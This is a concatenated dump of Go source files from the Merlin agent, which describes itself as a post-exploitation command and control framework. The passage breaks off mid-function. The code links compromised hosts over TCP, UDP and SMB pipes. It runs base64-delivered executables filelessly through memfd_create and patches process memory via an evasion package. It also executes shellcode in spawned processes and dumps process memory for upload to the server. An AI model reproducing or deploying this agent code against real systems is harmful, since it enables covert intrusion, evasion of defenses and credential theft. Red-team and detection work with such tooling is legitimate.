jobs.Results{Stderr: fmt.Sprintf("expected 1 argument with the link command, received %d: %+v", len(cmd.Args), cmd.Args)} } // switch on first argument switch strings.ToLower(cmd.Args[0]) { case "list": results.Stdout = peerToPeerService.List() return case "tcp": if len(cmd.Args) < 2 { return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link tcp command, received %d: %+v", len(cmd.Args), cmd.Args)} } return Connect("tcp", cmd.Args[1:]) case "udp": if len(cmd.Args) < 2 { return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link udp command, received %d: %+v", len(cmd.Args), cmd.Args)} } return Connect("udp", cmd.Args[1:]) case "smb": if len(cmd.Args) < 3 { return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link smb command, received %d: %+v\n Example: link smb 192.168.1.1 merlinPipe", len(cmd.Args), cmd.Args)} } return ConnectSMB(cmd.Args[1], cmd.Args[2]) case "refresh": results.Stdout = peerToPeerService.Refresh() return case "remove": if len(cmd.Args) < 2 { return jobs.Results{Stderr: fmt.Sprintf("expected 2 arguments with the link remove command, received %d: %+v\n Example: link remove 8ee688aa-de70-47ea-9a54-155524b2b1c6", len(cmd.Args), cmd.Args)} } // Validate that the provided ID is a valid UUID id, err := uuid.Parse(cmd.Args[1]) if err != nil { results.Stderr = fmt.Sprintf("commands/link.Link(): there was an error converting %s to a valid UUID for the link remove command: %s", cmd.Args[1], err) return } err = peerToPeerService.Remove(id) if err != nil { results.Stderr = fmt.Sprintf("commands/link.Link(): there was an error removing the link: %s", err) return } results.Stdout = fmt.Sprintf("Successfully removed P2P link for %s", id) return default: return jobs.Results{ Stderr: fmt.Sprintf("Unhandled link type: %s", cmd.Args[0]), } } } // Connect establishes a TCP or UDP connection to a tcp-bind or udp-bind peer-to-peer Agent func Connect(network string, args []string) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): entering into function with network: %s, args: %+v", network, args)) var linkType int switch strings.ToLower(network) { case "tcp": linkType = p2p.TCPBIND case "udp": linkType = p2p.UDPBIND } // args[0] = target (e.g., 192.168.1.10:8080) if len(args) <= 0 { results.Stderr = fmt.Sprintf("Expected 1 argument, received %d", len(args)) return } // See if there is already a link or connection to the target IP & Port link, ok := peerToPeerService.Connected(linkType, args[0]) if ok { results.Stderr = fmt.Sprintf("already connected to %s: %s:%s\n", link.Remote(), link.String(), link.ID()) return } var err error var conn net.Conn // Establish connection to downstream agent switch linkType { case p2p.TCPBIND, p2p.UDPBIND: conn, err = net.Dial(network, args[0]) default: err = fmt.Errorf("unhandled linked Agent type: %d", linkType) } if err != nil { results.Stderr = fmt.Sprintf("commands/link.Connect(): there was an error attempting to link the agent: %s", err.Error()) return } var n int // We must first write data to the UDP connection to let the UDP bind Agent know we're listening and ready if linkType == p2p.UDPBIND { junk := core.RandStringBytesMaskImprSrc(rand.Intn(100)) // #nosec G404 random number is not used for secrets b64 := make([]byte, base64.StdEncoding.EncodedLen(len(junk))) base64.StdEncoding.Encode(b64, []byte(junk)) // Add in Tag/Type and Length for TLV tag := make([]byte, 4) binary.BigEndian.PutUint32(tag, 1) length := make([]byte, 8) binary.BigEndian.PutUint64(length, uint64(len(b64))) // Create TLV outData := append(tag, length...) outData = append(outData, b64...) cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Added Tag: %d and Length: %d to data size of %d", tag, len(b64), len(outData))) // Determine number of fragments based on MaxSize MaxSize := 1450 fragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize))) // Write the message cli.Message(cli.NOTE, fmt.Sprintf("Initiating UDP connection to %s sending junk data: %s", conn.RemoteAddr(), junk)) cli.Message(cli.NOTE, fmt.Sprintf("Writing message size %d bytes equaling %d fragments to %s at %s", len(outData), fragments, conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) var m int var i int size := len(outData) for i < fragments { start := i * MaxSize var stop int // if bytes remaining are less than max size, read until the end if size < MaxSize { stop = len(outData) } else { stop = (i + 1) * MaxSize } m, err = conn.Write(outData[start:stop]) cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Wrote %d bytes to connection %s at %s", m, conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) if err != nil { results.Stderr = fmt.Sprintf("commands/link.Connect(): there was an error writing data to the UDP connection: %s", err) return } i++ size = size - MaxSize // UDP packets seemed to get dropped if too many are sent too fast if fragments > 100 { time.Sleep(time.Millisecond * 10) } } // Wait for linked agent first checking message cli.Message(cli.NOTE, fmt.Sprintf("Waiting to recieve UDP connection from %s at %s...", conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) } var tag uint32 var length uint64 var buff bytes.Buffer for { data := make([]byte, 4096) // Need to have a read on the network connection for data here in this function to retrieve the linked Agent's ID so the linkedAgent structure can be stored n, err = conn.Read(data) if err != nil { msg := fmt.Sprintf("there was an error reading data from linked agent %s: %s", args[0], err) results.Stderr = msg cli.Message(cli.WARN, msg) return } cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Read %d bytes from linked %s agent %s at %s", n, p2p.String(linkType), args[0], time.Now().UTC().Format(time.RFC3339))) // Add the bytes to the buffer n, err = buff.Write(data[:n]) if err != nil { msg := fmt.Sprintf("commands/link.Connect(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, args[0], err) results.Stderr = msg cli.Message(cli.WARN, msg) return } // If this is the first read on the connection determine the tag and data length if tag == 0 { // Ensure we have enough data to read the tag/type which is 4-bytes if buff.Len() < 4 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/link.Connect(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len())) continue } tag = binary.BigEndian.Uint32(data[:4]) if tag != 1 { msg := fmt.Sprintf("commands/link.Connect(): Expected a type/tag value of 1 for TLV but got %d", tag) results.Stderr = msg cli.Message(cli.WARN, msg) return } } if length == 0 { // Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size if buff.Len() < 12 { cli.Message(cli.DEBUG, fmt.Sprintf("command/link.Connect(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len())) continue } length = binary.BigEndian.Uint64(data[4:12]) } // If we've read all the data according to the length provided in TLV, then break the for loop // Type/Tag size is 4-bytes, Length size is 8-bytes for TLV if uint64(buff.Len()) == length+4+8 { cli.Message(cli.DEBUG, fmt.Sprintf("command/link.Connect(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length)) break } else { cli.Message(cli.DEBUG, fmt.Sprintf("command/link.Connect(): Read %d of %d bytes into the buffer", buff.Len(), length+4+8)) } } cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from linked %s agent %s at %s", buff.Len(), p2p.String(linkType), args[0], time.Now().UTC().Format(time.RFC3339))) // Decode GOB from server response into Base var msg messages.Delegate // First 4-bytes are for the Type/Tag, next 8-bytes are for the Length in TLV reader := bytes.NewReader(buff.Bytes()[12:]) errD := gob.NewDecoder(reader).Decode(&msg) if errD != nil { err = fmt.Errorf("there was an error decoding the gob message:\r\n%s", errD.Error()) return } // Store LinkedAgent linkedAgent := p2p.NewLink(msg.Agent, msg.Listener, conn, linkType, conn.RemoteAddr()) peerToPeerService.AddLink(linkedAgent) peerToPeerService.AddDelegate(msg) results.Stdout = fmt.Sprintf("Successfully connected to %s Agent %s at %s", linkedAgent.String(), msg.Agent, args[0]) // The listen function is in commands/listen.go go listen(conn, linkType) return } ================================================ FILE: commands/listener.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "bytes" "encoding/binary" "encoding/gob" "errors" "fmt" "io" "net" "strings" "time" // Merlin "github.com/Ne0nd0g/merlin-message" "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/p2p" ) const ( TCP = 0 UDP = 1 SMB = 2 ) const ( // MaxSizeUDP is the maximum size that a UDP fragment can be, following the moderate school of thought due to 1500 MTU // http://ithare.com/udp-from-mog-perspective/ MaxSizeUDP = 1450 ) // p2pListener is a structure for managing and tracking peer to peer listeners created on this Agent as the parent used // to communicate with child Agents type p2pListener struct { Addr string // Addr is a string representation of the address the listener is communicating with Listener interface{} // Listener holds the connection (e.g., net.Listener for TCP and net.PacketConn for UDP) Type int // Type is the p2pListener type } // String returns a string representation of the p2pListener func (p *p2pListener) String() string { switch p.Type { case TCP: return "TCP" case UDP: return "UDP" case SMB: return "SMB" default: return fmt.Sprintf("commands/listener/p2pListener.String() unhandled p2pListener type %d", p.Type) } } // p2pListeners is a slice of instantiated network listeners var p2pListeners []p2pListener // Listener binds to the provided interface and port and begins listening for incoming connections from other peer-to-peer agents func Listener(cmd jobs.Command) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listen.Listener(): entering into function with %+v", cmd)) defer cli.Message(cli.DEBUG, fmt.Sprintf("commands/listen.Listener(): exiting function with results: %+v", results)) if len(cmd.Args) < 1 { return jobs.Results{Stderr: fmt.Sprintf("expected 1 arguments with the listener command, received %d: %+v", len(cmd.Args), cmd.Args)} } // switch on first argument switch strings.ToLower(cmd.Args[0]) { case "list": results.Stdout = fmt.Sprintf("Peer-to-Peer Listeners (%d):\n", len(p2pListeners)) for i, listener := range p2pListeners { results.Stdout += fmt.Sprintf("%d. %s listener on %s\n", i, listener.String(), listener.Addr) } return case "start": if len(cmd.Args) < 3 { return jobs.Results{Stderr: fmt.Sprintf("expected 3 arguments with the listener command, received %d: %+v", len(cmd.Args), cmd.Args)} } switch strings.ToLower(cmd.Args[1]) { case "tcp": err := ListenTCP(cmd.Args[2]) if err != nil { results.Stderr = err.Error() return } results.Stdout = fmt.Sprintf("Successfully started TCP listener on %s", cmd.Args[2]) return case "udp": err := ListenUDP(cmd.Args[2]) if err != nil { results.Stderr = err.Error() return } results.Stdout = fmt.Sprintf("Successfully started UDP listener on %s", cmd.Args[2]) return case "smb": err := ListenSMB(cmd.Args[2]) if err != nil { results.Stderr = err.Error() return } results.Stdout = fmt.Sprintf("Successfully started SMB listener on \\\\.\\pipe\\%s", cmd.Args[2]) return default: results.Stderr = fmt.Sprintf("Unknown listener type %s", cmd.Args[1]) } case "stop": if len(cmd.Args) < 3 { return jobs.Results{Stderr: fmt.Sprintf("expected 3 arguments with the listener command, received %d: %+v", len(cmd.Args), cmd.Args)} } switch strings.ToLower(cmd.Args[1]) { case "smb": for i, listener := range p2pListeners { if listener.Type == SMB { if listener.Listener.(net.Listener).Addr().String() == fmt.Sprintf("\\\\.\\pipe\\%s", cmd.Args[2]) { err := listener.Listener.(net.Listener).Close() if err != nil { results.Stderr = err.Error() } else { results.Stdout = fmt.Sprintf("Successfully closed SMB listener on %s", cmd.Args[2]) } p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...) return } } } results.Stderr = fmt.Sprintf("Unable to find and close SMB listener on %s", cmd.Args[2]) case "tcp": for i, listener := range p2pListeners { if listener.Type == TCP { if listener.Listener.(net.Listener).Addr().String() == cmd.Args[2] { err := listener.Listener.(net.Listener).Close() if err != nil { results.Stderr = err.Error() } else { results.Stdout = fmt.Sprintf("Successfully closed TCP listener on %s", cmd.Args[2]) } p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...) return } } } results.Stderr = fmt.Sprintf("Unable to find and close TCP listener on %s", cmd.Args[2]) case "udp": for i, listener := range p2pListeners { if listener.Type == UDP { if listener.Listener.(net.PacketConn).LocalAddr().String() == cmd.Args[2] { err := listener.Listener.(net.PacketConn).Close() if err != nil { results.Stderr = err.Error() } else { results.Stdout = fmt.Sprintf("Successfully closed UDP listener on %s", cmd.Args[2]) } p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...) return } } } results.Stderr = fmt.Sprintf("Unable to find and close UDP listener on %s", cmd.Args[2]) default: results.Stderr = fmt.Sprintf("Unknown listener type %s", cmd.Args[1]) } return default: return jobs.Results{ Stderr: fmt.Sprintf("Unknown listener command: %s", cmd.Args[0]), } } return } // ListenTCP binds to the provided address and listens for incoming TCP connections func ListenTCP(addr string) error { listener, err := net.Listen("tcp", addr) if err != nil { return fmt.Errorf("commands/listen.TCPListen(): there was an error listening on %s : %s", addr, err) } // Add to global listeners var ok bool var l p2pListener for _, l = range p2pListeners { if l.Type == TCP { // Check to see if there is already a p2pListener in the map for this address if listener.Addr() == l.Listener.(net.Listener).Addr() { ok = true break } } } if !ok { l = p2pListener{ Addr: listener.Addr().String(), Listener: listener, Type: TCP, } p2pListeners = append(p2pListeners, l) } cli.Message(cli.NOTE, fmt.Sprintf("Started TCP listener on %s and waiting for a connection...", addr)) // Listen for initial connection from upstream agent go accept(listener, p2p.TCPREVERSE) return nil } // ListenUDP binds to the provided address and listens for incoming UDP connections func ListenUDP(addr string) error { listener, err := net.ListenPacket("udp", addr) if err != nil { return fmt.Errorf("commands/listen.ListenUDP(): there was an error listening on %s : %s", addr, err) } cli.Message(cli.NOTE, fmt.Sprintf("Started UDP listener on %s and waiting for a connection...", addr)) // Add to global listeners var ok bool for _, l := range p2pListeners { if l.Type == UDP { if listener.LocalAddr() == l.Listener.(net.PacketConn).LocalAddr() { ok = true } } } if !ok { p2pListeners = append(p2pListeners, p2pListener{ Addr: listener.LocalAddr().String(), Type: UDP, Listener: listener, }) } go listenUDP(listener) return nil } // accept is an infinite loop listening for new connections from Agents func accept(listener net.Listener, listenerType int) { for { conn, err := listener.Accept() if err != nil { cli.Message(cli.WARN, fmt.Sprintf("commands/listen.accept(): there was an error accepting the connection: %s", err)) break } go listen(conn, listenerType) } } // listen is an infinite loop, used as a go routine, to receive data from incoming connections and subsequently add Delegate messages to the outgoing queue func listen(conn net.Conn, listenerType int) { for { var n int var err error var tag uint32 var length uint64 var buff bytes.Buffer for { data := make([]byte, 4096) n, err = conn.Read(data) if err != nil { if errors.Is(err, io.EOF) { cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): connection to %s closed, removing the listener connection.", conn.RemoteAddr())) // Delete the listener from the global listeners for i, l := range p2pListeners { if l.Listener.(net.Listener).Addr() == conn.LocalAddr() { p2pListeners = append(p2pListeners[:i], p2pListeners[i+1:]...) return } } } err = fmt.Errorf("commands/listener.listen(): there was an error reading data from linked agent %s: %s", conn.RemoteAddr(), err) break } // Add the bytes to the buffer n, err = buff.Write(data[:n]) if err != nil { err = fmt.Errorf("commands/listener.listen(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, conn.RemoteAddr(), err) break } // If this is the first read on the connection determine the tag and data length if tag == 0 { // Ensure we have enough data to read the tag/type which is 4-bytes if buff.Len() < 4 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len())) continue } tag = binary.BigEndian.Uint32(data[:4]) if tag != 1 { err = fmt.Errorf("commands/listener.listen(): Expected a type/tag value of 1 for TLV but got %d", tag) break } } if length == 0 { // Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size if buff.Len() < 12 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len())) continue } length = binary.BigEndian.Uint64(data[4:12]) } // If we've read all the data according to the length provided in TLV, then break the for loop // Type/Tag size is 4-bytes, Length size is 8-bytes for TLV if uint64(buff.Len()) == length+4+8 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length)) break } else { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listen(): Read %d of %d bytes into the buffer", buff.Len(), length)) } } cli.Message(cli.NOTE, fmt.Sprintf("listener on %s read %d bytes from linked Agent %s at %s", conn.LocalAddr(), buff.Len(), conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339))) // Check for errors from the nested FOR loop if err != nil { cli.Message(cli.WARN, err.Error()) break } // Gob decode the message var msg messages.Delegate reader := bytes.NewReader(buff.Bytes()[12:]) err = gob.NewDecoder(reader).Decode(&msg) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): there was an error gob decoding a delegate message: %s", err)) return } // Store LinkedAgent _, err = peerToPeerService.GetLink(msg.Agent) if err != nil { // Reverse SMB & TCP agents need to be added after initial checkin linkedAgent := p2p.NewLink(msg.Agent, msg.Listener, conn, listenerType, conn.RemoteAddr()) peerToPeerService.AddLink(linkedAgent) } else { // Update the Link's connection to the current one err = peerToPeerService.UpdateConnection(msg.Agent, conn, conn.RemoteAddr()) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): %s", err)) } } // Add the message to the queue peerToPeerService.AddDelegate(msg) } } // listenUDP is an infinite loop, used as a go routine, to receive data from incoming connections and subsequently add Delegate messages to the outgoing queue func listenUDP(listener net.PacketConn) { cli.Message(cli.DEBUG, fmt.Sprintf("command/listener.listenUDP(): entering into function with listener: %+v", listener)) defer cli.Message(cli.DEBUG, "command/listener.listenUDP(): exiting function") for { var err error var addr net.Addr var n int var tag uint32 var length uint64 var buff bytes.Buffer for { data := make([]byte, MaxSizeUDP) n, addr, err = listener.ReadFrom(data) cli.Message(cli.DEBUG, fmt.Sprintf("UDP listener read %d bytes on %s from %s at %s", n, listener.LocalAddr(), addr, time.Now().UTC().Format(time.RFC3339))) if err != nil { err = fmt.Errorf("commands/listener.listenUDP(): there was an error accepting the UDP connection from %s : %s", addr, err) break } // Add the bytes to the buffer n, err = buff.Write(data[:n]) if err != nil { err = fmt.Errorf("commands/listener.listenUDP(): there was an error writing %d bytes from linked agent into the buffer %s: %s", n, addr, err) break } // If this is the first read on the connection determine the tag and data length if tag == 0 { // Ensure we have enough data to read the tag/type which is 4-bytes if buff.Len() < 4 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len())) continue } tag = binary.BigEndian.Uint32(data[:4]) if tag != 1 { err = fmt.Errorf("commands/listener.listenUDP(): Expected a type/tag value of 1 for TLV but got %d", tag) break } } if length == 0 { // Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size if buff.Len() < 12 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len())) continue } length = binary.BigEndian.Uint64(data[4:12]) } // If we've read all the data according to the length provided in TLV, then break the for loop // Type/Tag size is 4-bytes, Length size is 8-bytes for TLV if uint64(buff.Len()) == length+4+8 { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length)) break } else { cli.Message(cli.DEBUG, fmt.Sprintf("commands/listener.listenUDP(): Read %d of %d bytes into the buffer", buff.Len(), length)) } } cli.Message(cli.NOTE, fmt.Sprintf("UDP listener on %s read %d bytes from %s at %s", listener.LocalAddr(), buff.Len(), addr, time.Now().UTC().Format(time.RFC3339))) // Check for errors from the nested FOR loop if err != nil { cli.Message(cli.WARN, err.Error()) break } // Gob decode the message var msg messages.Delegate reader := bytes.NewReader(buff.Bytes()[12:]) err = gob.NewDecoder(reader).Decode(&msg) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listenUDP(): there was an error gob decoding a delegate message: %s", err)) return } // Store LinkedAgent _, err = peerToPeerService.GetLink(msg.Agent) if err != nil { // Reverse UDP agents need to be added after initial checkin linkedAgent := p2p.NewLink(msg.Agent, msg.Listener, listener, p2p.UDPREVERSE, addr) peerToPeerService.AddLink(linkedAgent) } else { // Update the Link's connection to the current one err = peerToPeerService.UpdateConnection(msg.Agent, listener, addr) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("commands/listener.listen(): %s", err)) } } // Add the message to the queue peerToPeerService.AddDelegate(msg) } } ================================================ FILE: commands/memfd.go ================================================ //go:build !linux /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" "runtime" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" ) // Memfd places a linux executable file in-memory, executes it, and returns the results // Uses the linux memfd_create API call to create an anonymous file // https://man7.org/linux/man-pages/man2/memfd_create.2.html // http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html func Memfd(cmd jobs.Command) (result jobs.Results) { result.Stderr = fmt.Sprintf("the memfd command is not implemented for the %s operating system", runtime.GOOS) return } ================================================ FILE: commands/memfd_linux.go ================================================ //go:build linux /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "encoding/base64" "fmt" "os" "os/exec" // External "golang.org/x/sys/unix" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // Memfd places a linux executable file in-memory, executes it, and returns the results // Uses the linux memfd_create API call to create an anonymous file // https://man7.org/linux/man-pages/man2/memfd_create.2.html // http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html func Memfd(cmd jobs.Command) (result jobs.Results) { if len(cmd.Args) <= 0 { result.Stderr = fmt.Sprintf("Expected 1 or more arguments for the Memfd command, received: %d", len(cmd.Args)) return } // Base64 decode the executable b, err := base64.StdEncoding.DecodeString(cmd.Args[0]) if err != nil { panic(err) } // Create Memory File fd, err := memfile("", b) if err != nil { result.Stderr = fmt.Sprintf("there was an error creating the memfd file:\r\n%s", err) return } // filepath to our newly created in-memory file descriptor fp := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd) // create an *os.File, should you need it // alternatively, pass fd or fp as input to a library. f := os.NewFile(uintptr(fd), fp) defer func() { if err := f.Close(); err != nil { result.Stderr += err.Error() } }() var args []string if len(cmd.Args) > 1 { args = cmd.Args[1:] } cli.Message(cli.SUCCESS, fmt.Sprintf("Executing anonymous file from memfd_create with arguments: %s", args)) command := exec.Command(fp, args...) // #nosec G204 stdout, stderr := command.CombinedOutput() if len(stdout) > 0 { result.Stdout = string(stdout) cli.Message(cli.SUCCESS, fmt.Sprintf("Command output:\r\n\r\n%s", result.Stdout)) } if stderr != nil { result.Stderr = stderr.Error() cli.Message(cli.WARN, fmt.Sprintf("There was an error executing the memfd_create command:\n%s", stderr)) } return } // memfile takes a file name used, and the byte slice containing data the file should contain. // name does not need to be unique, as it's used only for debugging purposes. // It is up to the caller to close the returned descriptor. // Function retrieved from https://terinstock.com/post/2018/10/memfd_create-Temporary-in-memory-files-with-Go-and-Linux/ func memfile(name string, b []byte) (int, error) { fd, err := unix.MemfdCreate(name, 0) if err != nil { return 0, fmt.Errorf("there was an error calling memfd_create():\r\n%s", err) } err = unix.Ftruncate(fd, int64(len(b))) if err != nil { return 0, fmt.Errorf("there was an error calling ftruncate():\r\n%s", err) } data, err := unix.Mmap(fd, 0, len(b), unix.PROT_READ|unix.PROT_WRITE, unix.MAP_SHARED) if err != nil { return 0, fmt.Errorf("there was an error calling mmap():\r\n%s", err) } copy(data, b) err = unix.Munmap(data) if err != nil { return 0, fmt.Errorf("there was an error calling munmap():\r\n%s", err) } return fd, nil } ================================================ FILE: commands/memory.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Merlin "github.com/Ne0nd0g/merlin-message/jobs" ) // Memory is a handler for working with virtual memory on the host operating system func Memory(jobs.Command) (results jobs.Results) { results.Stderr = "the Memory module is not supported by the agent's operating system!" return } ================================================ FILE: commands/memory_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "encoding/hex" "fmt" "strconv" "strings" // Merlin "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/evasion" ) // Memory is a handler for working with virtual memory on the host operating system func Memory(cmd jobs.Command) (results jobs.Results) { if len(cmd.Args) > 0 { cli.Message(cli.SUCCESS, fmt.Sprintf("Memory module command: %s", cmd.Args[0])) switch strings.ToLower(cmd.Args[0]) { case "read": // 0-read, 1-module, 2-procedure, 3-length if len(cmd.Args) > 3 { length, err := strconv.Atoi(cmd.Args[3]) if err != nil { results.Stderr = fmt.Sprintf("there was an error converting the length to an integer: %s", err) return } data, err := evasion.ReadBanana(cmd.Args[1], cmd.Args[2], length) if err != nil { results.Stderr = err.Error() return } results.Stdout = fmt.Sprintf("Read %d bytes from %s!%s: %X", length, cmd.Args[1], cmd.Args[2], data) return } else { results.Stderr = fmt.Sprintf("expected 4 arguments but got %d", len(cmd.Args)) return } case "patch": // 0-patch, 1-module, 2-procedure, 3-patch if len(cmd.Args) > 3 { patch, err := hex.DecodeString(cmd.Args[3]) if err != nil { results.Stderr = fmt.Sprintf("there was an error decoding the patch to bytes: %s", err) return } out, err := evasion.Patch(cmd.Args[1], cmd.Args[2], &patch) results.Stdout = out if err != nil { results.Stderr = err.Error() } return } else { results.Stderr = fmt.Sprintf("expected 4 arguments but got %d", len(cmd.Args)) return } case "write": // 0-write, 1-module, 2-procedure, 3-patch if len(cmd.Args) > 3 { patch, err := hex.DecodeString(cmd.Args[3]) if err != nil { results.Stderr = fmt.Sprintf("there was an error decoding the patch to bytes: %s", err) return } err = evasion.WriteBanana(cmd.Args[1], cmd.Args[2], &patch) if err != nil { results.Stderr = err.Error() } results.Stdout = fmt.Sprintf("\nWrote %d bytes to %s!%s: %X", len(patch), cmd.Args[1], cmd.Args[2], patch) return } else { results.Stderr = fmt.Sprintf("expected 4 arguments but got %d", len(cmd.Args)) return } default: results.Stderr = fmt.Sprintf("unrecognized Memory module command: %s", cmd.Args[0]) return } } results.Stderr = "no arguments were provided to the Memory module" return } ================================================ FILE: commands/modules.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "crypto/sha256" "encoding/base64" "fmt" "io" "strconv" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // CreateProcess spawns a child process with anonymous pipes, executes shellcode in it, and returns the output from the executed shellcode func CreateProcess(cmd jobs.Command) jobs.Results { cli.Message(cli.NOTE, fmt.Sprintf("Executing CreateProcess module: %s", cmd.Command)) var results jobs.Results var err error // Ensure the provided args are valid if len(cmd.Args) < 2 { //not enough args results.Stderr = "not enough arguments provided to the createProcess module to dump a process" return results } // 1. Shellcode // 2. SpawnTo Executable // 3. SpawnTo Arguments results.Stdout, results.Stderr, err = ExecuteShellcodeCreateProcessWithPipe(cmd.Args[0], cmd.Args[1], cmd.Args[2]) if err != nil { results.Stderr = err.Error() } if results.Stderr == "" { cli.Message(cli.SUCCESS, results.Stdout) } else { cli.Message(cli.WARN, results.Stderr) } return results } // MiniDump is the top-level function used to receive a job and subsequently execute a Windows memory dump on the target process // The function returns the memory dump as a file upload to the server func MiniDump(cmd jobs.Command) (jobs.FileTransfer, error) { cli.Message(cli.NOTE, "Received Minidump request") //ensure the provided args are valid if len(cmd.Args) < 2 { //not enough args return jobs.FileTransfer{}, fmt.Errorf("not enough arguments provided to the Minidump module to dump a process") } process := cmd.Args[0] pid, err := strconv.ParseInt(cmd.Args[1], 0, 32) if err != nil { return jobs.FileTransfer{}, fmt.Errorf("minidump module could not parse PID as an integer:%s\r\n%s", 